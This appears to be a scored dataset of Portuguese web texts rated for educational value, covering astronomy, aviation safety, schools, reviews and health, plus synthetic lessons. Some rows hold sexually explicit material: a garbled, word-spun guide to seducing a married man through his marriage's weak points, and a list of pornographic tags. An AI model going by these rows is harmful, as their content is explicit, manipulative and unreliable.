+Ilustração artística da colisão entre estrelas de neutrons.
+Créditos: LIGO / divulgação
+De acordo com o estudo, essa colisão entre duas estrelas de nêutrons poderia ter dado origem a 0,3% dos elementos mais pesados que encontramos aqui na Terra, sendo a maioria na forma de iodo - um elemento essencial para os processos biológicos, que pode ter desempenhado um papel fundamental no surgimento da vida.
+Segundo Imre, ""química, física e biologia estão intrinsecamente ligados, e devemos cruzar esses dados para resolvermos o enigma cósmico"".
+E como disse Szabols, ""nossos resultados abordam a busca fundamental da humanidade: de onde viemos? É muito difícil descrever as grandes emoções que sentimos quando percebemos o que havíamos encontrado e o que significa para o futuro do nosso mundo"".
+Asteroide Apophis pode colidir com a Terra em 2029?
+Isso também reafirma o que Carl Sagan disse: ""Somos um caminho para o Universo se conhecer. Uma parte do nosso ser sabe de onde viemos, e nós desejamos retornar. E nós podem...",original,original,original,original,4,0.8
+"Reconhecer a importância da atuação da OACI na padronização de procedimentos na área de investigação e prevenção de acidentes, através do ANEXO13
+Citar a responsabilidade do Comando da Aeronáutica quanto à investigação e à prevenção de acidentes aeronáuticos
+Caracterizar o Sistema de Investigação e Prevenção de Acidentes Aeronáuticos (SIPAER) e seus componentes quanto à sua finalidade
+Identificar os princípios básicos da filosofia SIPAER
+Identificar as atribuições do Oficial de Segurança de Voo (OSV), do Agente de Segurança de Voo (ASV) e dos Elementos Credenciados - Prevenção (EC-PREV)
+Conceituar Comissão de Investigação (CI)
+Conceituar acidente aeronáutico, incidente aeronáutico, incidente aeronáutico grave e ocorrência de solo
+Definir fatores humanos, fatores materiais e fatores operacionais enquanto fatores contribuintes dos acidentes aeronáuticos, dos incidentes aeronáuticos, dos incidentes aeronáuticos graves e das ocorrências de solo
+Identificar as fases da Investigação de Acidentes Aeronáuticos
+Apontar os responsáveis pela prevenção de acidentes aeronáuticos, de acordo com o Art. 87 do Código Brasileiro de Aeronáutica (CBA)
+Reconhecer as responsabilidades do piloto e do proprietário na prestação de informações para prestação de informações para o esclarecimento dos fatores contribuintes de acidentes/incidentes aeronáuticos
+Reconhecer as responsabilidades do piloto em comando no controle da manutenção da aeronave
+Reconhecer a importância da manutenção como prevenção de acidentes
+Reconhecer a importância das inspeções pré-voo e pós-voo para a prevenção de acidentes
+DESCRIÇÃO DO CURSO
+Cientes da importância da disciplina Segurança de Voo na formação básica de todos que almejam ingressar na aviação, mesmo que para recreio ou desporto, este texto foi elaborado no sentido de contemplar todos os objetivos recomendados pela ANAC, através dos Manuais de Curso, para formação de piloto privado, piloto comercial, comissários de voo, instrutor de voo e mecânicos de manutenção.
+Assim, foram reunidos aqui os conteúdos programáticos que embasam as videoaulas produzidas para a disciplina. Sem perder de vista os preceitos do reordenamento administrativo do Comando da Aeronáutica e seu consequente impacto na transformação do Sistema de Investigação e Prevenção de Acidentes Aeronáuticos – SIPAER.
+PROFESSOR DO CURSO
+ANDRÉ BRAGA
+André Braga é Controlador de Tráfego Aéreo, Instrutor do Sistema de Controle do Espaço Aéreo Brasileiro, Elemento Credenciado pelo CENIPA, Mestre em Gestão de Políticas Públicas pela FUNDAJ (PE), Instrutor de Comissários de Voo e Pilotos e Sócio fundador da WINGLET Consultoria Aeronáutica.",original,original,original,original,4,0.8
+English: Mini Mbm is the name given to the graphics engine which offers basic and essential resources to develop 2D and 3D games or applications. In this first version it is possible to develop desktop (Windows) and Android (mobile). Português: Mini-Mbm é o nome dado ao motor gráfico no qual apresenta recursos básicos e essenciais para desenvolver jogos ou aplicativos 2D e 3D. Nesta primeira versão é possível o desenvolvimento para desktop (Windows) e Android (mobile). Simple LAN Monitor,original,original,original,original,2,0.4
+"Música é uma atividade universal, encontrada nos vários grupos humanos, em diferentes períodos históricos. No âmbito escolar, o aluno brinca, canta, movimenta para conhecer a si próprio e aos outros, em reações recíprocas. Através da música e da dança, aprende as normas sociais de comportamento, os hábitos determinados pela cultura e conhece os objetos em seu contexto, para desenvolver a linguagem oral, corporal e gestual.
+Tudo significa para estes alunos um misto de prazer, coragem e desafio, além de oportunizar o relacionamento social, conhecimento de regras, o limite ao tempo de cada um e o respeito às diferenças de desempenho. Enfim, muita aprendizagem é construída ao longo da inserção da música no cotidiano das crianças e jovens.
+Festa da Família teve dança e apresentação de teatro
+Após o lanche, pais, alunos, professores, educadores e funcionários da escola participaram das atividades de dança propostas pela terapeuta ocupacional Vanessa Almeida, convidada especial do evento. Ela ensinou a dança sênior, que pode ser feita em pé ou na cadeira. A dança, criada em 1993 pela alemã Ilse Tutt, é voltada para idosos e pessoas com necessidades especiais.
+Alunos, familiares e professores participam da aula de dança sênior
+Todos participaram ativamente das seis danças. Dispostas em um grande círculo perto do palco, as pessoas fizeram alguns movimentos em pé e outros na cadeira. Depois, Vanessa convocou os pais para ficarem de pé no centro do círculo e fazerem mais duas coreografias.
+A atividade foi seguida de uma descontraída apresentação de teatro dirigida pelo professor Isaac, em que ele, os alunos e a professora Lu encenaram uma comédia.",original,original,original,original,3,0.6
+"Alou, minhas pessoas lindas e maravilhosas, tão fofinhas...
+A resenha de hoje é do tão falado, comentado e idolatrado filme 50 Tons de Cinza. O filme, baseado no livro de mesmo nome escrito por E. L. James e lançado aqui no Brasil pela Editora Intrínseca em 2012, estreou em fevereiro de 2015, um dia antes do Valentine's Day (vulgo Dia dos Namorados da cultura norte-americana).
+SE VOCÊ É FÃ INCONDICIONAL, e ODEIA ler coisas desagradáveis sobre o livro e o filme, favor, SAIA desta página AGORA!.
+A sinopse, se não estou enganada, é a mesma do livro, cujo enredo me era desconhecido, uma vez que não li. Sim, senhores, não quis mesmo ler, achei a história muito apelativa e já explico o porquê.
+Gostaria inicialmente de agradecer a todos que continuam acompanhando o blog, seja lendo, deixando comentários ou só dando uma espiada. O importante é divulgar curiosidades, opiniões... E meus textos!! XD
+A resenha de hoje faz parte do Desafio Literário Skoob 2015. Para o mês de março, deveríamos resenhar um livro escrito por Mulher. Minha escolha foi bem aleatória, pois eu tenho vários livros de autoras a serem lidos.
+Escolhi resenhar Êxtase Mortal, um livro que ganhei de Natal. É uma edição de bolso do tipo vira-vira, ou seja, tenho 2 livros em 1, lançada pela Edições BestBolso em 2012. O livro foi inicialmente publicado tendo J.D. Robb como autor (1996), mas posteriormente foi confirmado como pseudônimo de Nora Roberts, por isso se encaixa no tema de Março do DL.
+A sinopse oficial segue logo aí abaixo:
+No ano de 2058, a forma mais popular de entretenimento são os poderosos jogos de realidade virtual. Através deles, qualquer pessoa é capaz de ingressar facilmente em um mundo fantástico, repleto de prazeres e perigos. A vantagem é que não há riscos: é tudo uma grande brincadeira, uma mera simulação. Ou, pelo menos, era isso o que todos pensavam até um brilhante engenheiro aparecer morto. Eve Dallas descobre que essa morte é apenas uma das peças de um caso muito mais assustador do que aparenta.
+Enquanto isso, as mortes continuam. Um grande advogado e um político controverso são as vítimas seguintes. Os três não apresentavam nenhuma ligação entre si, senão o estranho sorriso pós-morte e algo que a autópsia vem revelar: pequenas queimaduras no interior de seus cérebros. Seria apenas uma anomalia genética ou um método avançado de assassinato? Nessa investigação, Eve Dallas ingressa no fascinante mundo da realidade virtual e descobre que nem sempre é fácil distinguir a realidade da ilusão.",original,original,original,original,1,0.2
+"(Atualização 2) Problemas no serviço da Vodafone?
+(Atualização 2) – Curiosamente, depois do falso alarme, parece que a Vodafone está mesmo com problemas com a Internet Fixa e rede móvel. É um dos visados?
+(Atualização) – Afinal, a Vodafone não está a passar por qualquer constrangimento nos seus serviços, conforme foi confirmado pela própria operadora.
+O que se está a passar, é que os clientes da empresa estão a tentar contactar utilizadores NOS e não estão a conseguir, graças aos problemas atuais da empresa rival. O que claro está, se traduziu num aumento dos problemas no site DownDetector.
+Eis o artigo original. Vodafone sem Internet! – Aparentemente, existem problemas no fornecimento de Internet, na infraestrutura da gigante multinacional! Dito isto, a maioria das queixas parecem vir da zona de Lisboa, mas é possível que existam constrangimentos noutras zonas do país.
+Hoje, dia 22 de Outubro de 2019, a Vodafone parece estar com dificuldades no fornecimento de rede móvel.
+Aparentemente, desta vez, o problema nos serviços, estende-se tanto à rede móvel, como à rede fixa (Vodafone Casa).",original,original,original,original,1,0.2
+"Edusp – USP – Universidade de São Paulo
+Alunos de Letras exploram as novas possibilidades do mercado de trabalho
+Disciplina criada neste ano na FFLCH apresenta aos estudantes a diversidade de atuação que a formação na área proporciona...
+Clientes que comprarem R$ 200,00 em livros de arte da Edusp ganharão uma obra original. ...
+O público que for à feira encontrará publicações com o mínimo de 60% de desconto....
+A enciclopédia possui caráter interdisciplinar e apresenta termos de diferentes áreas do conhecimento. ...
+Corpo será sepultado hoje, 31 de março. ...
+O Objetivo da pesquisa é realizar um programa que busque entender os hábitos de leitura do público universitário no meio digital. ...",original,original,original,original,3,0.6
+"FNQ - Proprietário rural mapeia processos e promove melhorias na gestão de seu negócio
+A Fazenda Padre Cícero fica a 200 km de Maceió, na pequena cidade de Cacimbinhas, em Alagoas, e foi uma das reconhecidas do Prêmio MPE Brasil 2015, na categoria Agronegócio. A propriedade conquistou o reconhecimento nacional pela qualidade da sua gestão. “Estou emocionado porque um pequeno agricultor de Alagoas, como eu, conquistou esse prêmio. Peço para aqueles que não chegaram onde estou que não desistam. Lutar sempre, desistir jamais”, celebrou o proprietário, Nemoênio Barbosa da Silva, ao receber o troféu.
+O bom desempenho aconteceu em função das melhorias de suas práticas de gestão, tanto relacionadas à propriedade quanto ao manejo do gado. Com apenas dois funcionários, a fazenda conseguiu ampliar a produção e tornar-se uma referência na região.
+A propriedade dedica-se à criação de gado leiteiro e foi fundada em 1990. O caminho rumo à excelência iniciou quando a Fazenda Padre Cícero ingressou no Programa Balde Cheio, da Empresa Brasileira de Pesquisa Agropecuária (Embrapa), no ano de 2012.
+Com a participação no programa, a fazenda conseguiu atualizar as formas de manejo, passando a exercer maior controle sobre os dados econômicos e zootécnicos da propriedade.
+Dentre as várias ações adotadas para melhorar sua gestão, destaca-se a Dias de Campo, que é quando a fazenda recebe produtores interessados em conhecer seus sistemas de trabalho. Dessa forma, Nemoênio também consegue ampliar os seus negócios.
+Como toda organização que busca evoluir, a propriedade rural também mapeou seus principais processos (entrega e qualidade do leite, ordenha, alimentação dos animais, reprodução e controle sanitário) e os registrou em manuais de gestão da fazenda, que são disseminados entre seus funcionários.
+Outro ponto importante para o sucesso é a atenção dada à alimentação do rebanho, com o plantio de palma forrageira e a produção de silagem de milho e sorgo para alimentar os animais durante os períodos de estiagem.
+Além disso, a propriedade também otimizou suas técnicas sanitárias e de ordenha e implementou a sombra artificial (sombrite), possibilitando maior conforto aos animais.
+De acordo com o proprietário da fazenda, o reconhecimento nacional só foi possível graças ao seu trabalho e às parcerias que firmou. “Estou bastante orgulhoso. Lá em Cacimbinhas, cheguei a ouvir que eu não tinha capacidade de ganhar o prêmio por competir com fazendas do Sul do País. Mas eu acreditei, fui lá e ganhei. A gente sempre trabalha buscando dias melhores. Nós não vamos parar. Agora, é olhar para frente e trabalhar ainda mais”.",original,original,original,original,2,0.4
+"PAPER TALESAristóteles o alce, Toc-toc o pica-pau e outros personagens maravilhosos de papel vão levar seu filho por uma aventura papeleira em uma floresta de papel! Vamos aprender, brincar e criar novidades juntos, com amigos que sempre querem se divertirEXPLORE O MUNDOCada local específico do jogo está recheado de objetos interativos que podem ser ativados, provocando interações com os personagens, e que podem ser combinados para produzir resultados inesperados. Na floresta, no jardim ou na cozinha, a diversão é sempre garantida!
+EXPERIMENTE!Um mundo de surpresas e experiências com papel espera por você. O que acontece quando você coloca cogumelos no fogo? O que os gatos-coelho comem? Como é que os aliens de papel se parecem? Às vezes, as respostas não são óbvias, mas sempre fazem as crianças rir.
+IMAGINE NO JOGO, CRIE NO MUNDO REALCom o editor de personagens exclusivo do Papermates, você pode transformar seus personagens favoritos! Um gato-coelho se transforma em um coelho-lobo pintadinho! E o Aristóteles, o alce, torna-se Horácio, o cervo! Desenhe ou tire fotos para adicionar ao visual de qualquer personagem. Depois, imprima os modelos especialmente preparados para que seu filho possa brincar com eles na vida real! Prepare o papel e a tesoura!
+• 6 locais de jogo: floresta de papel, cozinha, sala do Aristóteles, consertos na casa de Léo o filhote de leão, jardim, Ilha Misteriosa• 14 personagens – cada personagem pode ser personalizado, impresso e dobrado para criar um brinquedo de papel!• Estúdio interativo de criação de personagens• As crianças exploram e aprendem• Todos os objetos do jogo são interativos• Use fotos para criar novos padrões• Para meninos e meninas• Total liberdade criativa – no Papermates, você nunca perde o jogo• Otimizado para smartphones e tablets",original,original,original,original,2,0.4
+"Maquiagem diária: o pó e o batom, como usar bem - FazFácil
+Maquiagem diária…
+Tem de ser rapidinha mas eficiente!
+O pó facial confere um aspecto mais aveludado a pele além de ajudar a cobrir imperfeições e amenizar o brilho excessivo.
+Se você deseja retoques de uma maquiagem já feita, opte pelo pó na sua apresentação compacta.
+Mas se quer apenas livrar-se daquele brilho persistente no nariz o pó facial solto ou simplesmente pó facial pode ser a escolha adequada.
+Ao comprar, opte por àqueles que são não comendogênicos, isto é , que não propiciam o aparecimento da acne.
+Quando aplicar o pó facial?
+Após a aplicação do meu corretivo , o pó facial será o próximo passo da minha maquiagem para o dia.
+Maquiagem diária – pincel pó facial
+Aplicarei em todo o rosto cobrindo olhos , boca?!
+Inclusive , pois até ajuda na fixação do batom que vem logo a seguir, podendo se espalhar até o colo se ele também vai ficar exposto.
+Os compactos, aplicamos com uma esponja de espuma, própria para maquiagem ,que é facilmente encontrada hoje em dia , até supermercados já vendem.
+Quantos aos soltos , um pincel grande e bem macio.
+Esse pincel é maior do que aqueles que conhecemos para aplicação do blush.
+Maquiagem diária – Como escolher o batom
+E então vamos para o passo seguinte,e por fim , mas não menos
+importante : a aplicação do batom.
+Maquiagem diária o batom
+Dica valiosíssima: prefira os tons nude ou chamados cor de boca .
+Encontramos desde rosas a chocolates discretos, todos aproximando-se da cor natural dos lábios.
+São perfeitos para usar na maquiagem diária, num ambiente de trabalho e até mesmo num dia descompromissado como aqueles em que saímos para passear com nossos filhos no parquinho da praça.
+Aplique o batom ( se tiver um tempinho ,com pincel pois demonstra melhor a cor e evita desperdício) e você está pronta pra encarar o dia-a-dia com um visual limpo, chique e bem rapidinho como o dia-a-dia pede.
+Fotos utilizadas sob licença Creative Commons: Idhren, Ana Patrícia Almeida",original,original,original,original,0,0.0
+"- Usando o Item ""Tubo de Ensaio de Hormônios"" entregue por Beck
+Fale com ""Beck"" para relatar o andamento da Quest.",original,original,original,original,0,0.0
+"Como conquistar um homem casado e ter seu amor só para você
+Como conquistar um homem casado. Em minha opinião você tem que ficar com ele e fazer essas duas técnicas abaixo.
+Saiba mais no Método da libido de Caio Cesa, clique aqui.
+Saiba mais Sobre Método da libido de Caio Cesa, clique aqui.
+Como Enlouquecer um Homem na Cama e ter o seu amor só para você.
+A mulher tenta dar mais prazer a seu parceiro beijando, lambendo, acariciando e sugando seu pênis.
+A mulher deve tentar abrir a boca o mais amplo possível.
+Mas essa posição também pode dar grande prazer a mulher se ela sentir todas as respostas do corpo do homem.
+Sexo oral para mulheres. Todas as mulheres gostam muito desta posição porque dá muito prazer por elas.
+O homem deve começar a beijar todo o corpo do parceiro com sensibilidade, ternura e amor ao qual ele é capaz.
+Ele usa seus lábios e língua para estimular o clitóris e a vulva de seu parceiro.
+Sabe-se que este é o melhor caminho para as mulheres alcançar o orgasmo. Mas para os homens também está despertando.
+Provavelmente as outras mulheres não sabe fazer o serviço bem feito, ai você esta tendo muitas vantagem e credito para você, pois para Como conquistar um homem casado.
+Não conseguimos escolher as turma na qual ele deve se encantar, por isso não se assuste se um dia você delimitar desesperadamente saber como alcançar um homem casado.
+primo, você precisa tomar uma determinação:
+Tentar ou não tentar?Antes de sair por ai brincando flechas em coração que já tem depositário, pense na situação constrangedora que isso pode despertar, pense na família e no lar que você virará destruindo.
+Você precisa ter persuasão do que está realizando e das consequências que isso pode pegar. Mas se ainda cheio seu coração tiver fraco em conquistar um serhumano casado, continue lendo este item, que vou lhe expor algumas técnicas básicas que podem te ajudar.
+Quando o questão é conquistar um gente casado o risco é suficiente grande, e você pode ter fato na sua conquista ou não, isso pode revezar de acordo com a traço que você vai agir para começar conquistá-lo.
+Também é meritório que você pesquise um grão sobre a vida maridal dele, antes de se encastrar na vida do lactente.
+1. Querer exclusividade não “cola”: Muitas mulheres confundem na hora de cativar um homem casado e acabam pensando que eles vão autorizar a família deles para ter um intimidade sério com elas.
+Não caia nessa armadilha, pois se ele já está com outra e topou ficar com ela, dificilmente você vai ser a uma coisa mulher na vida da senhora.
+Veja no vídeo debaixo algumas dicas de como desvelar-se com um relacionamento com ente casado:
+2. Identificar qual é o subdivisão fraco do relacionamento ao senhor:
+Para começar a agir e alcançar um homem casado você deve em maioral lugar detectar qual é o modo fraco do casamento dele Para. isso você primeiro objetiva se aproximar da linhagem dele, pois assim você conseguirá informações sobre os questões fracos que eles têm ajuntado do relacionamento.
+Se você tiver uma amiga que sabe a família, ou com certeza conhecer alguém próximo a ele, aposte nisso para conhecer extraordinário a rotina e a amizade dele.
+Para começar a agir e sujeitar um homem casado você deve em introdutório lugar detectar qual é o local fraco do casamento dele Para.
+isso você primeiro acurada se aproximar da trato dele, pois assim você conseguirá informações sobre os temas fracos que eles têm ajuntado do relacionamento.
+Se você tiver uma amiga que sabe a família, ou a sério conhecer alguém próximo a ele, aposte nisso para conhecer superior a rotina e a convívio dele.
+como conquistar um homemDepois de detectar esses modos fracos é hora de principiar agir em cima deles e criar um pressuposto de ação para captar um homem casado.
+A teoria é que você faça tudo isso que a esposa dele não faz por ele, seja na cama ou até bem um simples gesto de interesse.
+3. Ofereça a ele aquele que a esposa dele divergência: Como falamos anteriormente, o mostra na hora de dominar um homem ca...",original,original,original,original,0,0.0
+"Totalmente repaginado e com cara de museu, o Centro de Memória Dorina Nowill - fundado pela professora brasileira que ficou cega aos 17 anos - reabre as portas hoje. O acervo da fundação, exposto desde 2002, agora ganha um espaço próprio e totalmente acessível.
+A exposição convida o visitante a experimentar uma viagem sensorial e interativa, cheia de recursos sonoros e olfativos. É possível ""enxergar"" como um cego, seja por meio de equipamentos modernos - como uma caneta que, apontada para os objetos, conta o que eles são -, seja por meio dos tradicionais livros em braile, que tanto ajudaram e continuam ajudando os deficientes visuais.
+""O objetivo é transformar este local no primeiro centro de referência histórica da inclusão de pessoas com deficiência visual no Brasil, dando ao circuito cultural da cidade de São Paulo uma proposta totalmente inclusiva, que agrega acessibilidade, cultura e educação"", explica a curadora do espaço, Viviane Sarraf.
+As peças e recursos de exposição interativos mostram a trajetória dos cegos no Brasil, com a evolução das ferramentas e equipamentos que os auxiliam a ter uma vida independente e ativa. ""No início, os deficientes visuais sofriam com falta de perspectiva e preconceito. Hoje em dia, há muitas possibilidades de inclusão"", compara Viviane.
+Visitas. O tour começa por uma réplica da sala de trabalho de Dorina Nowill, com mobília, objetos e livros que originalmente pertenceram à professora (leia mais sobre ela no quadro ao lado). Há até porta-retratos com fotos de familiares sobre a mesa. ""Ela gostava de receber os visitantes em sua sala, então a gente mantém essa tradição"", diz a curadora.
+No espaço que concentra a maior parte da exposição, há dispositivos de áudio onde podem ser ouvidos trechos de livros falados com a tecnologia de cada época, década a década, dos anos 1970 até a atualidade. Ao lado, as mídias que também evoluíram - de grandes fitas e gravadores arcaicos que eram emprestados pela fundação aos deficientes até os CDs com gravações feitas em arquivos MP3.
+Tradicional e moderno. Os equipamentos também são bem interessantes. Há regletes - uma variação do aparelho de escrita inventado por Louis Braille, espécie de gabarito utilizado para escrever, à mão, em braile -, máquinas de escrever em braile de todos os tipos, das antigas às modernas, além de computadores equipados com softwares modernos de leitura.
+Uma das invenções mais curiosas do acervo é uma engenhoca americana dos anos 1960 que, com uma pequena câmera, transforma textos em relevo para que o cego possa sentir as palavras. Mais recente, um equipamento inventado no Brasil lê as cores - e pode ser usado pelo cego para escolher roupas ou mesmo identificar notas de dinheiro.
+Em outro espaço do museu, há uma reprodução do ambiente doméstico do deficiente visual. Um relógio adaptado permite uma leitura táctil das horas, pelo relevo. Joias, batons e esmaltes também ganharam identificação em braile. E há a seção das bengalas, desde as mais antigas, muitas improvisadas, até as leves, coloridas e modernas.
+Percorrer o espaço, mais do que entender o dia a dia dos deficientes visuais, permite ao visitante se aproximar dessa realidade - o que facilita a convivência e amplia a acessibilidade.
+Mas a visita não precisa acabar aí. Depois de conhecer o Centro de Memória, fica o convite para ver os outros espaços da Fundação: a gráfica em braile, a biblioteca e os estúdios de gravação de livros falados, entre outros, sempre com mediadores prontos para explicar a atividade.",original,original,original,original,4,0.8
+"Quais são as complicações para a mãe e para o bebê quando se tem diabetes gestacional? _ Minha Vida
+Quais são as complicações para a mãe e para o bebê quando se tem diabetes gestacional?
+As complicações possíveis para a mãe são: aumento da chance de DHEG (doença hipertensiva da gestação), laceração de períneo, eclampsia, infecções urinarias de repetição e maior chance de manter o diabetes apos o parto.
+Já para o bebê são: macrossomia (bebê muito grande), prematuridade e hipoglicemia (glicose baixa demais) ao nascer.
+Contudo, seguindo as recomendações médicas, os riscos para a mãe e bebê diminuem bastante.
+Avalie e previna os riscos de uma gravidez após os 35 anos",original,original,original,original,2,0.4
+"Jovem, A Sós, Brinquedos, Ratinha, Raspada
+Beijando, Oral, Sexo Em Grupo, Jovem, Vibrador
+Tomando Banho, Dona De Casa, Masturbação, Brinquedos, Vibrador
+Mamãe Sexy, Masturbação, Vibrador, Feito Em Casa, Dona De Casa",original,original,original,original,0,0.0
+"Já parou para pensar como organizamos os eventos que aconteceram antes de nós? Como sabemos o que veio primeiro e o que veio depois? A resposta está em algo muito importante para a História: a linha do tempo! Imagine uma régua gigante, onde cada marcação representa um momento diferente. Essa régua nos ajuda a entender a ordem dos acontecimentos e como eles se conectam. 
+
+A linha do tempo não precisa ser algo complicado e cheio de datas difíceis de lembrar. Pense, por exemplo, na sua própria vida. Se você fosse criar uma linha do tempo da sua história, como começaria? Talvez com o dia em que você nasceu, depois o dia em que aprendeu a andar, o primeiro dia na escola, e assim por diante. Cada um desses momentos é importante e ajuda a contar a sua história. Na História do Brasil e do mundo, funciona da mesma forma, só que com eventos que aconteceram há muito tempo e com muitas pessoas envolvidas. 
+
+Para entender melhor, vamos pensar na história do Brasil. Na linha do tempo do nosso país, teríamos momentos como a chegada dos portugueses em 1500, a Independência em 1822, a Abolição da Escravidão em 1888, a Proclamação da República em 1889, e muitos outros. Cada um desses eventos mudou o rumo da nossa história e nos ajudou a chegar onde estamos hoje. 
+
+Mas por que a linha do tempo é tão importante? Ela nos ajuda a entender as causas e consequências dos eventos. Por exemplo, ao colocar a Abolição da Escravidão depois da Independência, percebemos que o Brasil demorou muito tempo para acabar com a escravidão, mesmo já sendo um país independente. A linha do tempo também nos mostra como as coisas mudaram ao longo do tempo. Podemos comparar como era a vida das pessoas há 100 anos com a vida de hoje e perceber o quanto a tecnologia, os costumes e as leis evoluíram. 
+
+Criar sua própria linha do tempo é um ótimo exercício para entender como tudo se encaixa. Que tal pegar um caderno e desenhar uma linha? Comece com eventos da sua família, da sua cidade ou até mesmo do mundo. Pesquise datas importantes e tente entender o que aconteceu em cada momento. Você vai ver como a História pode ser muito mais interessante quando a gente a organiza dessa forma. Afinal, entender o passado nos ajuda a construir um futuro melhor! Será que os eventos de hoje estarão em livros de História no futuro? O que você acha que será lembrado daqui a 100 anos?",História,Linha do tempo,anos finais (6º ao 9º ano),"O texto apresenta um alto valor educacional, introduzindo o conceito de linha do tempo de forma clara e acessível, utilizando exemplos práticos e relevantes para o ensino fundamental. A linguagem é adequada à faixa etária, e o conteúdo é bem estruturado, incentivando o aluno a criar sua própria linha do tempo e a compreender a relação entre os eventos históricos. Além disso, estimula a reflexão sobre o impacto do passado no presente e no futuro.",5,1.0
+"Você já parou para pensar como os animais e as plantas estão conectados? Às vezes, parece que eles vivem em mundos separados, mas, na verdade, eles dependem uns dos outros para sobreviver! Essa relação é tão importante que a chamamos de interdependência. Vamos explorar juntos essa fascinante dança da vida.
+
+Imagine uma floresta tropical exuberante. As plantas, com suas folhas verdes e vibrantes, utilizam a luz do sol, a água e o gás carbônico para produzir seu próprio alimento, um processo mágico chamado fotossíntese. Mas o que acontece com o oxigênio liberado nesse processo? Ele é essencial para a respiração da maioria dos animais, incluindo nós, os seres humanos! Assim, as plantas fornecem o oxigênio que precisamos para viver.
+
+Por outro lado, os animais também desempenham um papel crucial na vida das plantas. As abelhas, por exemplo, voam de flor em flor, coletando néctar para produzir mel. Ao fazer isso, elas transportam o pólen de uma flor para outra, um processo chamado polinização. A polinização é fundamental para a reprodução de muitas plantas, permitindo que elas produzam frutos e sementes. Sem as abelhas e outros polinizadores, como beija-flores e borboletas, muitas plantas não conseguiriam se reproduzir.
+
+Além da polinização, os animais também ajudam a dispersar as sementes das plantas. Pense em um macaco que come uma fruta e depois joga a semente longe. Essa semente pode germinar e dar origem a uma nova planta em um local diferente. Ou imagine um pássaro que come sementes e as espalha em seu voo. Essa dispersão de sementes é importante para garantir que as plantas se espalhem e ocupem novos territórios.
+
+Até mesmo os restos de animais mortos e as fezes dos animais são importantes para as plantas. Esses materiais se decompõem no solo, liberando nutrientes que as plantas utilizam para crescer e se desenvolver. É como se os animais fertilizassem o solo para as plantas.
+
+A interdependência entre animais e plantas é um exemplo maravilhoso de como a natureza está toda conectada. Se um elo dessa cadeia é quebrado, todo o ecossistema pode ser afetado. Por isso, é tão importante proteger tanto os animais quanto as plantas, garantindo que essa dança da vida continue a acontecer. Da próxima vez que você vir uma flor sendo visitada por uma abelha ou um pássaro comendo uma fruta, lembre-se da incrível interdependência que existe entre eles. Como podemos ajudar a preservar essa relação em nosso dia a dia?",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, abordando o conceito de interdependência entre animais e plantas de forma clara e envolvente, adequada para alunos do ensino fundamental. Utiliza exemplos práticos e linguagem acessível, facilitando a compreensão. Explica processos como fotossíntese e polinização de maneira simplificada. Além disso, estimula a reflexão sobre a importância da preservação ambiental. O conteúdo é focado, coerente e propício para um aprendizado estruturado.",5,1.0
+"21.6.11
+Em alguns países islâmicos, é mais do que normal ver mulheres andando pelas ruas cobertas dos pés à cabeça. Para nós, que moramos no Brasil, o costume é quase absurdo. Provavelmente, as muçulmanas pensam o mesmo sobre as roupas que as mocinhas não usam nas praias brasileiras.
+Tradições são assim: variam de país para país e acaba pegando meio mal condenar as práticas culturais de outros povos. O problema é que tem muita tradição por aí que coloca a saúde – e a vida – de pessoas em risco. Listamos alguns dos mais perigosos e malucos costumes culturais mundo afora. E nem o Brasil escapou.
+1. Andar sobre brasas no dia de São João – Brasil
+Enquanto uns aproveitam as festas juninas para se esbaldarem de canjica, milho e quentão, outros levam a festa religiosa muito mais a sério. Na noite de 23 de junho – véspera do dia de São João – é tradição andar sobre brasas para testar a fé. Pelo menos para os fiéis do quilombo Mato do Tição, no interior de Minas Gerais. Lá, mulheres, crianças, velhos, jovens, enfim, todo mundo caminha sobre 12 metros de brasas incandecentes à meia noite. Loucura?
+O fotógrafo Francilins, autor da imagem acima, registrou a tradição no Mato do Tição por três anos e viu toda sorte de gente caminhar sobre as brasas sem se queimar. No terceiro ano, tomou coragem, correu sobre a madeira incandescente e… teve queimaduras de 1º, 2º e 3º graus nos pés.
+Crianças, não tentem repetir isso em casa!
+2. Mergulho de ano novo – Rússia
+Mergulhar em águas geladas no Ano Novo é tradição em muitos países frios na Europa. Mas a Rússia leva o negócio a níveis extremos: mergulhadores se reúnem no Baikal, o maior lago do país e o mais profundo do mundo. Os malucos mergulham em suas águas congelantes e plantam uma árvore de natal no fundo dele. Depois, dançam ao redor da árvore. Dentro do lago. A -23ºC. Perigoso? Imagina… Mas é tradição desde 1982. Haja vodka para aplacar esse frio…
+Na ilha de Chios, na Grécia, duas igrejas rivais disparam milhares de fogos de artifício uma na outra no domingo de páscoa enquanto os padres rezam suas missas lá dentro.
+O objetivo da batalha é atingir a torre do sino da igreja rival, mas os fogos de artifício nem sempre acertam o alvo e os passantes têm que se esconder dos fogos para não serem atingidos. O perigo ainda assola as casas que ficam nas redondezas, que podem pegar fogo com a brincadeira. Sem falar na fumaça. Habitantes descontentes com o fogaréu se sentem ""escravos da própria tradição"", que remonta ao século XIX.
+Mas fica bonito no vídeo, ó:
+4. Arremesso de bebês – Índia
+Em Solapur, na Índia, todos os anos, bebês são atirados do alto de uma torre de 15 metros. Não é um festival de horror, mas um ritual que já dura mais de 500 anos e que tem o objetivo de fazer os bebês crescerem mais fortes e saudáveis. Embaixo da torre, pessoas com lençóis salvam os bebês, mas isso não impede que eles tomem o maior susto de suas (ainda tão curtas) vidas.
+5. Corrida do Queijo – Inglaterra
+Em Glowcester, Inglaterra, todo ano, uma centena de homens correm atrás de um queijo que é atirado montanha abaixo. Segundo a tradição, o cara que conseguir chegar embaixo da montanha primeiro leva o queijo pra casa. Ainda que muitos saiam da corrida com canelas torcidas e até ossos quebrados, esta não é exatamente a tradição mais perigosa desta lista. Mas é muito, muito, muito ridícula. Comprem um queijo no supermercado, faz favor!
+6. Festival Onbashira – Japão
+Uma parte deste festival bianual no Japão, o Yamadashi, consiste em cortar grandes troncos de árvore, amarrá-los nos homens e descer com os troncos ladeira abaixo, montados nele. Parece fácil? Imagine ser arrastado por um pesado tronco de árvore por metros e metros. Muita gente já morreu ou pelo menos se machucou gravemente com esta tradição, mas, como é considerada um gesto de bravura, ela continua há mais de 1200 anos.
+7. Bolas de Fogo – El Salvador
+Atirar bolas encandecentes uns nos outros. Diversão? Em El Salvador, na cidade de Nepajo, aparentemente, sim. C...",original,original,original,original,2,0.4
